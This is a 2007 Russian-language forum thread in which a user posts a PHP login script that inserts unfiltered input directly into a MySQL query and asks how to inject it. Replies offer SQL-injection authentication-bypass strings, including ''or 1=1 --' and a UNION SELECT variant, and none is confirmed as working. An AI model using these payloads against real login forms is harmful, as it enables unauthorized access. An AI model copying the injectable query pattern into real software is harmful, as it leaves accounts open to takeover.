Посл.ответ |
Сообщение |
Ранг: 159.1 (ветеран), 7thx Активность: 0.13↘0 Статус: Участник
|
Создано: 06 декабря 2007 15:59 · Поправил: tempread · Личное сообщение · #1
Подскажите,кто "в теме", можно ли сделать иньекцию в таком коде:
$password=пароль,не фильтруется
$login=логин,не фильтруется
$password=md5($password);
$login=mysql_query("select * from usertable where username='$login' and password='$password'");
$check = mysql_num_rows($login);
if ($check>0) {
Мы авторизовались
};
Казалось бы, $login равный
abc' or 1=1 or 'a'='a
должен бы помочь, но не помогает...
| Сообщение посчитали полезным: |
|
Ранг: 36.1 (посетитель) Активность: 0.01↘0 Статус: Участник
|
Создано: 06 декабря 2007 16:37 · Поправил: Malice · Личное сообщение · #2
А так ?
$login="abc' or 1=1 or '111'="
$password=" or 'a'='a"
ps а.. не, не пойдет
| Сообщение посчитали полезным: |
Ранг: 221.3 (наставник), 135thx Активность: 0.19↘0.07 Статус: Участник
|
Создано: 06 декабря 2007 21:26 · Личное сообщение · #3
Думою что можно. Дай сам скрипт.
----- xchg dword [eax], eax | Сообщение посчитали полезным: |
Ранг: 159.1 (ветеран), 7thx Активность: 0.13↘0 Статус: Участник
|
Создано: 07 декабря 2007 00:58 · Поправил: tempread · Личное сообщение · #4
v0id2k
Так то что выше - это и есть скрипт авторизации.
| Сообщение посчитали полезным: |
Ранг: 210.5 (наставник), 2thx Активность: 0.14↘0 Статус: Участник
|
Создано: 07 декабря 2007 20:00 · Поправил: arnix · Личное сообщение · #5
пробуй
abc' or 1=1 --
(abc' or 1=1[пробел][тире][тире][пробел])
p.s.
если и так не выйдет, значит на сервере включён magic_quotes и кавычки фильтруется автоматом
| Сообщение посчитали полезным: |
Ранг: 159.1 (ветеран), 7thx Активность: 0.13↘0 Статус: Участник
|
Создано: 07 декабря 2007 20:10 · Поправил: tempread · Личное сообщение · #6
arnix
Не сработало... Видимо придется раскатать связку apache+php+mysql, и там пойму,в чем дело,чего не получается ничего сделать... Я вот думаю, может там magic_quotes активировано?
| Сообщение посчитали полезным: |
Ранг: 36.1 (посетитель) Активность: 0.01↘0 Статус: Участник
|
Создано: 07 декабря 2007 21:11 · Личное сообщение · #7
А вот так:
$login="abc' or 1=1 union select * from usertable where 'a'='a"
| Сообщение посчитали полезным: |
Ранг: 159.1 (ветеран), 7thx Активность: 0.13↘0 Статус: Участник
|
Создано: 07 декабря 2007 23:52 · Личное сообщение · #8
Malice
Проблема в том, что $login нигде не выводится, поэтому даже если и сработал бы код,то результат негде увидеть.
| Сообщение посчитали полезным: |